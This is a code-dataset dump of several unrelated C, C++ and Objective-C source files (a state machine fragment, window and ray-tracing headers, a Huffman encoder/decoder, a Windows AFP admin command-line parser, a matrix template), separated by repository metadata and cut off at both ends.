const { const auto& table = _tt.at(os); const auto i = table.find(ac); if (i!=table.end()) return (*i).second; else throw std::logic_error("Undefined transition"); } void add_action_bare(A a) { _actions.insert(a); } bool has_state_bare(S s) const { return _states.find(s)!=_states.end(); } bool has_action_bare(A a) const { return _actions.find(a)!=_actions.end(); } void set_entry_function_bare(S s, std::function<void()>& f) { _entry_actions[s] = f; } void set_exit_function_bare(S s, std::function<void()>& f) { _exit_actions[s] = f; } bool has_entry_function_bare(S s) const { return _entry_actions.find(s)!=_entry_actions.end(); } bool has_exit_function_bare(S s) const { return _exit_actions.find(s)!=_exit_actions.end(); } private: mutable std::recursive_mutex _mutex; mutable std::mutex _statechange_mutex; std::set<S> _states; std::set<A> _actions; transition_table _tt; mutable S _state; function_table _entry_actions; function_table _exit_actions; mutable std::condition_variable _state_change; }; #endif
0.996094
high
Projects/Personal Expenses Tracker (C)/archive/pet_c_skel/expense.h
fredmorcos/attic
2
840385
<reponame>fredmorcos/attic<filename>Projects/Personal Expenses Tracker (C)/archive/pet_c_skel/expense.h #ifndef PET_EXPENSE #define PET_EXPENSE struct expense_t { double amount; int year; int month; int day; char * person; char * shop; char ** tags; char * note; }; #endif
0.898438
high
libs/platform/simple_window.h
kdt3rd/gecko
15
840897
// SPDX-License-Identifier: MIT // Copyright contributors to the gecko project. #pragma once #include "window.h" //////////////////////////////////////// namespace platform { /// /// @brief Class simple_window provides... /// class simple_window { public: explicit simple_window( const std::shared_ptr<window> &win ); const std::shared_ptr<screen> &query_screen( void ) const { return _win->query_screen(); } /// @brief creates a context (or returns a stashed version) /// /// This is returned as a shared pointer, for caching /// (performance) purposes, however, it is not intended to have a /// lifetime longer than a window, and if used past the /// destruction of a window, errors should be expected. context &hw_context( void ) { return _win->hw_context(); } /// @brief Set a cursor as the default for the window /// /// This is the cursor that is displayed if no other cursor is pushed /// void set_default_cursor( const std::shared_ptr<cursor> &c ) { _win->set_default_cursor( c ); } /// @brief Set a new cursor for the window, storing them as a stack void push_cursor( const std::shared_ptr<cursor> &c ) { _win->push_cursor( c ); } /// @brief restore the previous cursor void pop_cursor( void ) { _win->pop_cursor(); } // TODO: add support for menus... // std::shared_ptr<menu_definition> top_level_menu( void ); // virtual bool include_menu_in_window_area( void ) const = 0; /// @brief Raise the window. /// /// Raise the window above all other windows. void raise( void ) { _win->raise(); } /// @brief Lower the window. /// /// Lower the window below all other windows. void lower( void ) { _win->lower(); } /// @brief Show the window. /// /// Make the window visible. void show( void ) { _win->show(); } /// @brief Hide the window. /// /// Make the window invisible. void hide( void ) { _win->hide(); } /// @brief Query if the window is visible. /// /// @return Whether the window is visible or not bool is_visible( void ) { return _win->is_visible(); } /// @brief Make the window fullscreen. /// /// Make the window fullscreen. void fullscreen( bool fs ) { _win->fullscreen( fs ); } /// @brief Move the window. /// /// Move the window to the given position. /// @param x New x position of the window /// @param y New y position of the window void move( coord_type x, coord_type y ) { _win->move( x, y ); } void move( const point &p ) { move( p[0], p[1] ); } /// @brief Resize the window. /// /// Resize the window to the given size. /// @param w New width of the window /// @param h New height of the window void resize( coord_type w, coord_type h ) { _win->resize( w, h ); } void resize( const size &s ) { resize( s.w(), s.h() ); } /// @brief Set minimum window size. /// /// The window will not be allowed to resize smaller than the minimum given. /// @param w Minimum width for the window /// @param h Minimum height for the window void set_minimum_size( coord_type w, coord_type h ) { _win->set_minimum_size( w, h ); } /// @brief Set the window title. /// /// Set the window title shown in the title bar. /// @param t The window title void set_title( const std::string &t ) { _win->set_title( t ); } /// @brief trigger the window rectangle to be re-drawn void invalidate( const rect &r ) { _win->invalidate( r ); } // virtual void set_icon( const icon &i ); coord_type width( void ) { return _win->width(); } coord_type height( void ) { return _win->height(); } /// @brief Generic event handler /// /// This is the most general event handler, in that all events /// come in here. Uses of a full-fledged gui widget system /// probably want to use this, and dispatch their own versions of /// the below, and see all the events. std::function<bool( const event & )> event_handoff; /// @brief Action for mouse press events. /// /// Callback action for mouse button press events. std::function<void( event_source &, const point &, int )> mouse_pressed; /// @brief Action for mouse release events. /// /// Callback action for mouse button release events. std::function<void( event_source &, const point &, int )> mouse_released; /// @brief Actionfor mouse motion events. /// /// Callback action for mouse motion events. std::function<void( event_source &, const point & )> mouse_moved; /// @brief Action for mouse wheel events. /// /// Callback action for mouse wheel events. std::function<void( event_source &, int )> mouse_wheel; /// @brief Action for key press events. /// /// Callback action for key press events. std::function<void( event_source &, scancode )> key_pressed; /// @brief Action for key release events. /// /// Callback action for key release events. std::function<void( event_source &, scancode )> key_released; /// @brief Action for text entered events. /// /// Callback action for text entered events. std::function<void( event_source &, char32_t )> text_entered; std::function<bool( bool )> closed; std::function<void( void )> shown; std::function<void( void )> hidden; std::function<void( void )> minimized; std::function<void( void )> maximized; std::function<void( void )> restored; std::function<void( void )> exposed; std::function<void( coord_type, coord_type )> moved; std::function<void( coord_type, coord_type )> resized; std::function<void( void )> entered; std::function<void( void )> exited; protected: bool process_event( const event &e ); private: std::shared_ptr<window> _win; }; } // namespace platform
0.996094
high
FullRayTracing/FullRayTracing/materials/Dielectric.h
KyrieWei/SoftwareRender
0
841409
<filename>FullRayTracing/FullRayTracing/materials/Dielectric.h<gh_stars>0 #pragma once #include "Material.h" class Dielectric : public Material { public: float ir; Dielectric(float index_of_refraction) : ir(index_of_refraction) {} virtual bool scatter(const Ray& r, const hit_record& rec, Vector3D& attenuation, Ray& scattered) const override; };
0.824219
high
IseeWebView/Classes/controller/choiceRole/m/IseeChoiceRoleModel.h
fueb/IseeWebView
0
841921
// // IseeChoiceRoleModel.h // IseeWebView // // Created by 余友良 on 2020/11/20. // Copyright © 2020 dxzx. All rights reserved. // #import <Foundation/Foundation.h> #import "IseeChoiceRoleModel.h" NS_ASSUME_NONNULL_BEGIN @interface IseeChoiceRoleModel : NSObject @property(nonatomic,strong) NSArray * roleList; @end NS_ASSUME_NONNULL_END
0.640625
medium
SimplePhotoTemplate/SimplePhotoTemplate.h
xwu1115/SimplePhotoTemplate
1
842433
// // SimplePhotoTemplate.h // SimplePhotoTemplate // // Created by <NAME> on 1/19/20. // Copyright © 2020 <NAME>. All rights reserved. // #import <UIKit/UIKit.h> //! Project version number for SimplePhotoTemplate. FOUNDATION_EXPORT double SimplePhotoTemplateVersionNumber; //! Project version string for SimplePhotoTemplate. FOUNDATION_EXPORT const unsigned char SimplePhotoTemplateVersionString[]; // In this header, you should import all the public headers of your framework using statements like #import <SimplePhotoTemplate/PublicHeader.h>
0.550781
high
NativeLibraries/iOS/HERE_iOS_SDK_Premium_v3.15.2_92/framework/NMAKit.framework/Headers/NMAUrbanMobilityRealTimeInfo.h
KarinBerg/Xamarin.HEREMaps
15
842945
/* * Copyright (c) 2011-2020 HERE Global B.V. and its affiliate(s). * All rights reserved. * The use of this software is conditional upon having a separate agreement * with a HERE company for the use or utilization of this software. In the * absence of such agreement, the use of the software is not allowed. */ /** * DEPRECATED As of SDK 3.8. */ typedef NS_ENUM(NSUInteger, NMAUrbanMobilityRealTimeInfoStatus) { /** Is scheduled at the original arrival/departure time and at the given platform. */ NMAUrbanMobilityRealTimeInfoStatusOk, /** The line is not following the normal stops sequence. */ NMAUrbanMobilityRealTimeInfoStatusRedirected, /** User should take a replacement transport for this departure/arrival. */ NMAUrbanMobilityRealTimeInfoStatusReplaced, /** The service has a permanent failure and will not arrive and depart. */ NMAUrbanMobilityRealTimeInfoStatusCancelled, /** This is an additional not planned service. */ NMAUrbanMobilityRealTimeInfoStatusAdditional } DEPRECATED_ATTRIBUTE; /** * IMPORTANT: Urban Mobility is a Beta feature. The related classes are subject to change * without notice. * * DEPRECATED As of SDK 3.8. */ DEPRECATED_ATTRIBUTE @interface NMAUrbanMobilityRealTimeInfo : NSObject /** * Instances of this class should not be initialized directly */ - (nonnull instancetype)init NS_UNAVAILABLE; /** * Instances of this class should not be initialized directly */ + (nonnull instancetype)new NS_UNAVAILABLE; /** * Gets the real-time departure time if available, nil otherwise. * * @return real-time departure time or nil if not available */ @property (nonatomic, readonly, nullable) NSDate *departureTime; /** * Gets the real-time arrival time if available, nil otherwise. * * @return real-time arrival time or nil if not available. */ @property (nonatomic, readonly, nullable) NSDate *arrivalTime; /** * Gets the real-time departure/arrival platform if available, nil otherwise. * * @return real-time departure/arrival platform or nil if not available. */ @property (nonatomic, readonly, nullable) NSString *platform; /** * An indicator for some exceptional event happened to this departure/arrival. * Possible values are members of `NMAUrbanMobilityRealTimeInfoStatus`. * * @return Exception event, default is `NMAUrbanMobilityRealTimeInfoStatusOk`. */ @property (nonatomic, readonly) NMAUrbanMobilityRealTimeInfoStatus status; @end
0.980469
high
project/huffman/huffman.c
bvwman/Huffman
0
843457
// // Created by <NAME> on 4/10/17. // #include "huffman.h" #include "../datastructures/order_list.h" /** * Build te encoded version of the tree * @param node current node * @param buffer buffer containing tree index * @param characters list of all characters * @param index current index * @param weights list of weights * @return length of tree/index */ int print_tree(huff_node *node, char* buffer, char* characters, int index, int* weights){ if(!node->right&&!node->left){ characters[index] = node->value; if(weights){ weights[index] = node->weight; } buffer[index++] = '1'; return index; } else { characters[index] = '\0'; buffer[index++] = '0'; index = print_tree(node->left, buffer, characters, index, weights); return print_tree(node->right, buffer, characters, index, weights); } } void _build_dictionary(code** dictionary, char* tree, huff_node* node, int length){ if(node->left==NULL||node->right==NULL){ code* encoding = malloc(sizeof(*encoding)); encoding->code = malloc(sizeof(char)*length+1); tree[length] = '\0'; strcpy(encoding->code, tree); encoding->key = node->value; encoding->code_length = length; dictionary[(unsigned char)encoding->key] = encoding; } else { tree[length] = '0'; _build_dictionary(dictionary, tree, node->left, length+1); tree[length] = '1'; _build_dictionary(dictionary, tree, node->right, length+1); } } code** build_dictionary(huff_node* root, int size){ code** codes = calloc((size_t) size + 1, sizeof(code*)); char* tree = malloc((size+1)*sizeof(char)); memset(tree, '\0', size+1); _build_dictionary(codes, tree, root, 0); return codes; } void huffman_encode(){ input* in = read_input(true); if(in->size==0){ exit(0); } //Allocate enough for all leaves, perfect binary tree with n leaves has 2n-1 elements size_t stack_size = 2*in->nodes_size-1; stack* ptr = allocate_stack(stack_size); stack *tmp = allocate_stack(stack_size); //Add al nodes to the stack int maxCode = build_stack(in, ptr); //build the huffman tree huff_node* watch; while(ptr->top > 0){ huff_node* node1 = pop(ptr); huff_node* node2 = pop(ptr); huff_node* new_node = create_node(node1, node2); if(node1->value=='1'){ watch = node1; } else if(node2->value=='1'){ watch = node2; } while(peek(ptr) && peek(ptr)->weight < new_node->weight){ push(tmp, pop(ptr)); } push(ptr, new_node); pushAll(ptr, tmp); } huff_node* root = pop(ptr); code** codes = build_dictionary(root, maxCode); FILE* fp = stdout; char tree_coded[stack_size+1], characters[stack_size+1]; memset(tree_coded, '\0', stack_size+1); memset(characters, '\0', stack_size+1); //build the tree in the correct output format int depth = print_tree(root, tree_coded, characters, 0, NULL); tree_coded[depth] = '\0'; //write the amount of bytes the tree will take int amount_bits = (int)strlen(tree_coded); int amount_bytes = (amount_bits+8-1)/8; fputc((unsigned char) amount_bytes, fp); //write the tree int bits_written = 0; size_t max_bits = 8; char buff[max_bits+1]; memset(buff, '\0', max_bits+1); for (int i = 0; i < amount_bits; ++i) { buff[bits_written++] = tree_coded[i]; if(bits_written>=max_bits){ unsigned char out = (unsigned char) strtoul(buff, NULL, 2); fwrite(&out, sizeof(unsigned char),1, fp); bits_written = 0; } } if(bits_written>0){ for (int i = bits_written; i < max_bits; ++i) { buff[i] = '0'; } char out = (unsigned char) strtoul(buff, NULL, 2); fwrite(&out, sizeof(unsigned char),1, fp); } //write the characters in the order they appear in the encoded tree for (int k = 0; k < depth; ++k) { if(tree_coded[k]=='1'){ fwrite(&characters[k], sizeof(char), 1, fp); } } //write the encoded file memset(buff, '\0', max_bits); bits_written = 0; for (int i = 0; i < in->size; ++i) { code* current = codes[(unsigned char)in->content[i]]; for (int j = 0; j < current->code_length; ++j) { char c = current->code[j]; buff[bits_written++] = c; if(bits_written>=max_bits){ unsigned char out = (unsigned char) strtoul(buff, NULL, 2); fwrite(&out, sizeof(unsigned char),1, fp); bits_written = 0; memset(buff, '\0', max_bits); } } } //write the last byte int zeros = 0; if(bits_written>0){ zeros = (int) (max_bits - bits_written); for (int i = bits_written; i < max_bits; ++i) { buff[i] = '0'; } unsigned char out = (unsigned char) strtoul(buff, (char **) (&buff + 8), 2); fwrite(&out, sizeof(unsigned char),1, fp); } //write how many bits of the last byte we should ignore unsigned char n = (unsigned char) (char) zeros; fwrite(&n, sizeof(unsigned char), 1, fp); //free al resources free_stack(tmp); free_stack(ptr); free_input(in); for (int i = 0; i < maxCode; ++i) { if(codes[i]) free(codes[i]); } free(codes); } huff_node *rebuild_tree(char tree[], int tree_size, node *chars) { huff_node* root = new_node(); root->left = new_node(); root->left->parent = root; huff_node* current = root->left; node* current_char = chars; for (int i = 1; i < tree_size; ++i) { if(tree[i]=='0'){ if(current->left==NULL){ current->left = new_node(); current->left->parent = current; current = current->left; } else if(current->right==NULL){ current->right = new_node(); current->right->parent = current; current = current->right; } else { while (current->right){ current = current->parent; } current->right = new_node(); current->right->parent = current; current = current->right; } } else { current->value = current_char->value; current->weight = current_char->weight; current_char = current_char->next; current = current->parent; while (current->parent&&current->right){ current = current->parent; } if(!(!current->parent&&current->right)) { current->right = new_node(); current->right->parent = current; current = current->right; } } } return root; } void huffman_decode(){ input* in = read_input(false); int i = 0; //read tree length char tree_length = in->content[i++]; int tree_length_bits = tree_length*8; //read tree char tree[tree_length_bits+1]; memset(tree, '\0', (tree_length*8)+1); for (int j=0; j < tree_length; ++j) { sprintf(tree+8*j, BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(in->content[i])); i++; } while (tree[tree_length_bits]!='1'){ tree[tree_length_bits] = '\0'; tree_length_bits--; } tree_length_bits++; //count the characters int amount_chars = 0; for (int j = 0; j < tree_length_bits; ++j) { if(tree[j]=='1'){ amount_chars++; } } //read the characters in->nodes = allocate_node(in->content[i++], in); node* current = in->nodes; for(int j=1; j<amount_chars; ++j){ current->next = allocate_node(in->content[i++], in); current = current->next; } huff_node* huff_tree = rebuild_tree(tree, tree_length_bits, in->nodes); FILE* fp = stdout; char* text = calloc(9, sizeof(char)); int j = 0; while (i < in->size - 1){ unsigned char c = (unsigned char) in->content[i++]; sprintf(text+j*8, BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(c)); j++; text = realloc(text, j*8*sizeof(char*)); } int size = j*8; unsigned char ignore_bits = (unsigned char) in->content[i++]; huff_node* current_node = huff_tree; for(j=0;j<=size-ignore_bits;j++){ char c = text[j]; if(current_node->left==NULL){ fputc(current_node->value, fp); current_node = huff_tree; } if(c=='1'){ current_node = current_node->right; } else { current_node = current_node->left; } } free_input(in); free_tree(huff_tree); free(text); }
0.996094
high
Codebook/Controller/CBSettingController.h
fanyuecheng/Codebook
0
843969
<filename>Codebook/Controller/CBSettingController.h // // CBSettingController.h // Codebook // // Created by 米画师 on 2021/1/11. // #import "CBTableViewController.h" NS_ASSUME_NONNULL_BEGIN UIKIT_EXTERN NSString *const CBLocalAuthenticationEnabled; @interface CBSettingController : CBTableViewController @end NS_ASSUME_NONNULL_END
0.550781
medium
net/sfm/afp/ui/cmdline/parse.c
npocmaka/Windows-Server-2003
17
844481
/********************************************************************/ /** Microsoft LAN Manager **/ /** Copyright(c) Microsoft Corp., 1990-1991 **/ /********************************************************************/ //*** // // Filename: Parse.c // // Description: // This module contains the entry point of DIAL.EXE. // This module will parse the command line. It will validate the syntax // and the arguments on the command line. On any error, the exit // module will be invoked with the appropriate error code. // If any default values are required, they will be supplied by // this module. // // History: // September 1, 1990 <NAME> Created original version // #include <windows.h> #include <stdio.h> #include <stdlib.h> #ifdef DBCS #include <locale.h> #endif /* DBCS */ #include "cmd.h" //** Global data structures and variables used. ** //* These variables are pointers to ASCIIZ which will be set to // point to switch values of the command line by GetSwitchValue. // These pointers are global within this module. CHAR * gblEntity = NULL; CHAR * gblCommand = NULL; CHAR * gblServer = NULL; CHAR * gblName = NULL; CHAR * gblPath = NULL; CHAR * gblPassword = NULL; CHAR * gblReadOnly = NULL; CHAR * gblMaxUses = NULL; CHAR * gblOwnerName = NULL; CHAR * gblGroupName = NULL; CHAR * gblPermissions = NULL; CHAR * gblLoginMessage = NULL; CHAR * gblMaxSessions = NULL; CHAR * gblGuestsAllowed = NULL; CHAR * gblMacServerName = NULL; CHAR * gblUAMRequired = NULL; CHAR * gblAllowSavedPasswords = NULL; CHAR * gblType = NULL; CHAR * gblCreator = NULL; CHAR * gblDataFork = NULL; CHAR * gblResourceFork = NULL; CHAR * gblTargetFile = NULL; CHAR * gblHelp = NULL; // Non translatable text // CHAR * pszVolume = "Volume"; CHAR * pszAdd = "/Add"; CHAR * pszDelete = "/Remove"; CHAR * pszSet = "/Set"; CHAR * pszDirectory = "Directory"; CHAR * pszServer = "Server"; CHAR * pszForkize = "Forkize"; CMD_FMT DelVolArgFmt[] = { { "/Server", (CHAR *)&gblServer, 0}, { "/Name", (CHAR *)&gblName, 0}, { "/Help", (CHAR *)&gblHelp, 0}, { "/?", (CHAR *)&gblHelp, 0}, { NULL, (CHAR *)NULL, 0} }; CMD_FMT AddVolArgFmt[] = { { "/Server", (CHAR *)&gblServer, 0}, { "/Name", (CHAR *)&gblName, 0}, { "/Path", (CHAR *)&gblPath, 0}, { "/Password", (CHAR *)&gblPassword, 0}, { "/ReadOnly", (CHAR *)&gblReadOnly, 0}, { "/MaxUsers", (CHAR *)&gblMaxUses, 0}, { "/Help", (CHAR *)&gblHelp, 0}, { "/?", (CHAR *)&gblHelp, 0}, { NULL, (CHAR *)NULL, 0} }; CMD_FMT SetVolArgFmt[] = { { "/Server", (CHAR *)&gblServer, 0}, { "/Name", (CHAR *)&gblName, 0}, { "/Password", (CHAR *)&gblPassword, 0}, { "/ReadOnly", (CHAR *)&gblReadOnly, 0}, { "/MaxUsers", (CHAR *)&gblMaxUses, 0}, { "/Help", (CHAR *)&gblHelp, 0}, { "/?", (CHAR *)&gblHelp, 0}, { NULL, (CHAR *)NULL, 0} }; CMD_FMT DirArgFmt[] = { { "/Server", (CHAR *)&gblServer, 0}, { "/Path", (CHAR *)&gblPath, 0}, { "/Owner", (CHAR *)&gblOwnerName, 0}, { "/Group", (CHAR *)&gblGroupName, 0}, { "/Permissions", (CHAR *)&gblPermissions, 0}, { "/Help", (CHAR *)&gblHelp, 0}, { "/?", (CHAR *)&gblHelp, 0}, { NULL, (CHAR *)NULL, 0} }; CMD_FMT ServerArgFmt[] = { { "/Server", (CHAR *)&gblServer, 0}, { "/MaxSessions", (CHAR *)&gblMaxSessions, 0}, { "/LoginMessage", (CHAR *)&gblLoginMessage, 0}, { "/UAMRequired", (CHAR *)&gblUAMRequired, 0}, { "/AllowSavedPasswords",(CHAR *)&gblAllowSavedPasswords,0}, { "/MacServerName", (CHAR *)&gblMacServerName, 0}, { "/Help", (CHAR *)&gblHelp, 0}, { "/?", (CHAR *)&gblHelp, 0}, { NULL, (CHAR *)NULL, 0} }; CMD_FMT ForkizeArgFmt[] = { { "/Server", (CHAR *)&gblServer, 0}, { "/Type", (CHAR *)&gblType, 0}, { "/Creator", (CHAR *)&gblCreator, 0}, { "/DataFork", (CHAR *)&gblDataFork, 0}, { "/ResourceFork", (CHAR *)&gblResourceFork, 0}, { "/TargetFile", (CHAR *)&gblTargetFile, 0}, { "/Help", (CHAR *)&gblHelp, 0}, { "/?", (CHAR *)&gblHelp, 0}, { NULL, (CHAR *)NULL, 0} }; //** // // Call: main // // Entry: int argc; - Number of command line arguments // char *argv[]; - Array of pointers to ASCIIZ command line // arguments. // // Exit: none. // // Returns: none. // // Description: Calls the command line parser with the command line // arguments. // VOID _cdecl main( INT argc, CHAR * argv[] ) { #ifdef DBCS setlocale( LC_ALL, "" ); #endif /* DBCS */ // This will act like xacc or yacc. It will parse the command line // and call the appropriate function to carry out an action. // Thus this procedure will never return. ParseCmdArgList( argc, argv ); } //** // // Call: ParseCmdArgList // // Entry: int argc; - Number of command line arguments. // char *argv[]; - Array of pointers to ASCIIZ command line // arguments. // // Exit: none. // // Returns: none. // // Description: // Will parse command line for any errors and determine // from the syntax what the user wishes to do. Command // line arguments will be validated. // VOID ParseCmdArgList( INT argc, CHAR * argv[] ) { DWORD ArgCount = 0; if ( argc == 1 ) PrintMessageAndExit( IDS_GENERAL_SYNTAX, NULL ); // // What is the entity being operated on ? // gblEntity = argv[++ArgCount]; if ( _strnicmp( pszVolume, gblEntity, strlen( gblEntity ) ) == 0 ) { if ( argc == 2 ) PrintMessageAndExit( IDS_VOLUME_SYNTAX, NULL ); gblCommand = argv[++ArgCount]; if ( _strnicmp( pszAdd, gblCommand, strlen( gblCommand ) ) == 0 ) { GetArguments( AddVolArgFmt, argv, argc, ArgCount ); if ( gblHelp != (CHAR*)NULL ) PrintMessageAndExit( IDS_VOLUME_SYNTAX, NULL ); DoVolumeAdd( gblServer, gblName, gblPath, gblPassword, gblReadOnly, gblGuestsAllowed, gblMaxUses ); } else if ( _strnicmp( pszDelete, gblCommand, strlen( gblCommand ) ) == 0 ) { GetArguments( DelVolArgFmt, argv, argc, ArgCount ); if ( gblHelp != (CHAR*)NULL ) PrintMessageAndExit( IDS_VOLUME_SYNTAX, NULL ); DoVolumeDelete( gblServer, gblName ); } else if ( _strnicmp( pszSet, gblCommand, strlen( gblCommand ) ) == 0 ) { GetArguments( SetVolArgFmt, argv, argc, ArgCount ); if ( gblHelp != (CHAR*)NULL ) PrintMessageAndExit( IDS_VOLUME_SYNTAX, NULL ); DoVolumeSet( gblServer, gblName, gblPassword, gblReadOnly, gblGuestsAllowed, gblMaxUses ); } else PrintMessageAndExit( IDS_VOLUME_SYNTAX, NULL ); } else if ( _strnicmp( pszDirectory, gblEntity, strlen( gblEntity ) ) == 0 ) { if ( argc == 2 ) PrintMessageAndExit( IDS_DIRECTORY_SYNTAX, NULL ); GetArguments( DirArgFmt, argv, argc, ArgCount ); if ( gblHelp != (CHAR*)NULL ) PrintMessageAndExit( IDS_DIRECTORY_SYNTAX, NULL ); DoDirectorySetInfo( gblServer, gblPath, gblOwnerName, gblGroupName, gblPermissions ); } else if ( _strnicmp( pszServer, gblEntity, strlen( gblEntity ) ) == 0 ) { if ( argc == 2 ) PrintMessageAndExit( IDS_SERVER_SYNTAX, NULL ); GetArguments( ServerArgFmt, argv, argc, ArgCount ); if ( gblHelp != (CHAR*)NULL ) PrintMessageAndExit( IDS_SERVER_SYNTAX, NULL ); DoServerSetInfo( gblServer, gblMaxSessions, gblLoginMessage, gblGuestsAllowed, gblUAMRequired, gblAllowSavedPasswords, gblMacServerName ); } else if ( _strnicmp( pszForkize, gblEntity, strlen( gblEntity ) ) == 0 ) { GetArguments( ForkizeArgFmt, argv, argc, ArgCount ); if ( gblHelp != (CHAR*)NULL ) PrintMessageAndExit( IDS_FORKIZE_SYNTAX, NULL ); DoForkize( gblServer, gblType, gblCreator, gblDataFork, gblResourceFork, gblTargetFile ); } else PrintMessageAndExit( IDS_GENERAL_SYNTAX, NULL ); } VOID GetArguments( CMD_FMT * pArgFmt, CHAR * argv[], DWORD argc, DWORD ArgCount ) { // // To determine by the syntax what the user wishes to do we first // run through the arguments and get switch values. // while ( ++ArgCount < argc ) { // // If it is a switch, get its value. // if ( argv[ArgCount][0] == '/' ) GetSwitchValue( pArgFmt, argv[ArgCount] ); else PrintMessageAndExit( IDS_GENERAL_SYNTAX, NULL ); } } //** // // Call: GetSwitchValue // // Entry: CHAR * SwitchPtr; - Pointer to ASCIIZ containing a command // line argument. // ex. - /phoneb:c:\subdir // // CHAR ** LastArg; - Nothing. // // Exit: CHAR * SwitchPtr; - same as entry. // // CHAR ** LastArg; - Pointer to a pointer to ASCIIZ containig // the text of the first bad switch if // there were any. // // Returns: 0 - Success. // AMBIGIOUS_SWITCH_ERRROR - failure. // UNKNOWN_SWITCH_ERROR - failure. // MEM_ALLOC_ERROR - failure. // MULTIPLE_SWITCH_ERROR - failure. // // Description: This procedure will run through all the valid switches // in the cmdfmt structure and retrieve the value of the // the switch. The value of the switch will be inserted into the // cmdfmt structure. It will expand abbreviated switches. If // the switch had no value, it will insert a null character // as the value. If the switch did not appear, the value // pointer of the switch (in the cmdfmt structure) // will remain unchanged ( should be initialized to NULL ). // This procedure uses the same data structure as GetCmdArgs5, // hence some fields may be ignored. This is done to make the // functionality of this procedure extendable. // // VOID GetSwitchValue( CMD_FMT * pArgFmt, IN CHAR * pchSwitchPtr ) { INT intFound = -1; DWORD dwIndex; DWORD dwSwitchLen; CHAR * pchSeparatorPtr; // // Get length of the switch part of the argument. // if ( ( pchSeparatorPtr = strchr( pchSwitchPtr, ':' )) != NULL ) dwSwitchLen = (DWORD)(pchSeparatorPtr - pchSwitchPtr); else // // If the switch had no value. // dwSwitchLen = strlen( pchSwitchPtr ); // // Run through all switches. // for ( dwIndex = 0; pArgFmt[dwIndex].cf_parmstr != NULL; dwIndex++ ) { // // If this switch matches (partly or completely) one of the // valid switches. // if ( !_strnicmp( pArgFmt[dwIndex].cf_parmstr, pchSwitchPtr, dwSwitchLen ) ) { if ( intFound < 0 ) intFound = dwIndex; else { // // If this argument has matched another switch also. // if ( pchSeparatorPtr ) *pchSeparatorPtr = '\0'; PrintMessageAndExit( IDS_AMBIGIOUS_SWITCH_ERROR, pchSwitchPtr ); } } } // // If we could not find a match for this switch. // if ( intFound < 0 ) { if ( pchSeparatorPtr ) *pchSeparatorPtr = '\0'; PrintMessageAndExit( IDS_UNKNOWN_SWITCH_ERROR, pchSwitchPtr ); } // // If this switch is appearing for the second time. // if ( pArgFmt[intFound].cf_usecount > 0 ) { if ( pchSeparatorPtr ) *pchSeparatorPtr = '\0'; PrintMessageAndExit( IDS_DUPLICATE_SWITCH_ERROR, pchSwitchPtr ); } else pArgFmt[intFound].cf_usecount++; // // Get the switch value if there is one. // if ( ( pchSeparatorPtr ) && ((CHAR *)(pchSeparatorPtr + 1)) ) { *(CHAR **)pArgFmt[intFound].cf_ptr = ++pchSeparatorPtr; } else { *(CHAR **)pArgFmt[intFound].cf_ptr = (CHAR *)""; } } /******************************************************************* NAME: IsDriveGreaterThan2Gig SYNOPSIS: Determines if the disk is bigger than 2Gig. If it, return TRUE so that a warning can be displayed to the user RETURNS: TRUE if disk is larger than 2Gig FALSE otherwise HISTORY: NarenG 11/18/92 Modified for AFPMGR ********************************************************************/ BOOL IsDriveGreaterThan2Gig( LPSTR lpDrivePath ) { DWORD SectorsPerCluster; DWORD BytesPerSector; DWORD NumberOfFreeClusters; DWORD TotalNumberOfClusters; DWORDLONG DriveSize; DWORDLONG TwoGig = MAXLONG; // // If this drive volume is greater than 2G then we print warning // if ( !GetDiskFreeSpace( lpDrivePath, &SectorsPerCluster, &BytesPerSector, &NumberOfFreeClusters, &TotalNumberOfClusters )) { // some error: can't do much, so just assume this drive is smaller than 2GB. That's // probably better than alarming the customer by putting the warning? return FALSE; } DriveSize = UInt32x32To64( SectorsPerCluster * BytesPerSector, TotalNumberOfClusters ) ; if ( DriveSize > TwoGig ) { return TRUE; } else { return FALSE; } }
0.976563
high
inst/isource/cmatrix.h
trosendal/sourceSim
0
844993
<filename>inst/isource/cmatrix.h /********************************************/ /* cmatrix.h 23rd February 2005 */ /* (c) <NAME>. */ /* www.danielwilson.me.uk */ /********************************************/ #ifndef _CMATRIX_H_ #define _CMATRIX_H_ #include <stdlib.h> #include <stdio.h> namespace myutils { /*Cannot accept objects of type class*/ template <typename T> class CMatrix { public: /*Preserve public access for back-compatibility*/ T **element; protected: int protected_nrows; int protected_ncols; int initialized; public: /*Default constructor*/ CMatrix() { initialized=0; initialize(0,0); } /*Constructor*/ CMatrix(int nrows, int ncols) { initialize(nrows,ncols); } /*Constructor*/ CMatrix(int nrows, int ncols, T value) { initialize(nrows,ncols); int i,j; for(i=0;i<nrows;i++) for(j=0;j<ncols;j++) element[i][j]=value; } /*Destructor*/ ~CMatrix() { int i; for(i=protected_nrows-1;i>=0;i--) free((T*) element[i]); free((T**) element); } CMatrix<T>& initialize(int nrows, int ncols) { element=(T **) malloc((unsigned) nrows*sizeof(T*)); if (!element) error("row allocation failure in Matrix::initialize()"); int i; for(i=0;i<nrows;i++) { element[i]=(T *) malloc((unsigned) ncols*sizeof(T)); if (!element[i]) error("column allocation failure in Matrix::initialize()"); } protected_nrows=nrows; protected_ncols=ncols; initialized=1; return *this; } CMatrix<T>& resize(int nrows, int ncols) { int i; if (!initialized) initialize(nrows,ncols); else { if(nrows!=protected_nrows) { element=(T **) realloc(element,(unsigned) nrows*sizeof(T*)); if (!element) error("row allocation failure in Matrix::resize()"); if(nrows<protected_nrows) { for(i=protected_nrows-1;i>=nrows;i--) free ((T*) element[i]); } if(nrows>protected_nrows) { for(i=protected_nrows;i<nrows;i++) { element[i]=(T *) malloc((unsigned) protected_ncols*sizeof(T)); if (!element[i]) error("column allocation failure 1 in Matrix::resize()"); } } protected_nrows=nrows; } if(ncols!=protected_ncols) { for(i=0;i<nrows;i++) { element[i]=(T *) realloc(element[i],(unsigned) ncols*sizeof(T)); if (!element[i]) error("column allocation failure 2 in Matrix::resize()"); } protected_ncols=ncols; } } return *this; } int nrows(){return protected_nrows;} int ncols(){return protected_ncols;} void error(char* error_text) { printf("Run-time error in Matrix::"); printf("%s%\n", error_text); printf("Exiting to system...\n"); exit(13); } /*Copy constructor*/ CMatrix(CMatrix<T>& mat) /* Copy constructor for the following cases: Matrix mat2(mat); Matrix mat2=mat; and when Matrix is returned from a function */ { initialize(mat.nrows(),mat.ncols()); int i,j; for(i=0;i<protected_nrows;i++) { for(j=0;j<protected_ncols;j++) { element[i][j]=mat.element[i][j]; } } } /*Assignment operator*/ CMatrix<T>& 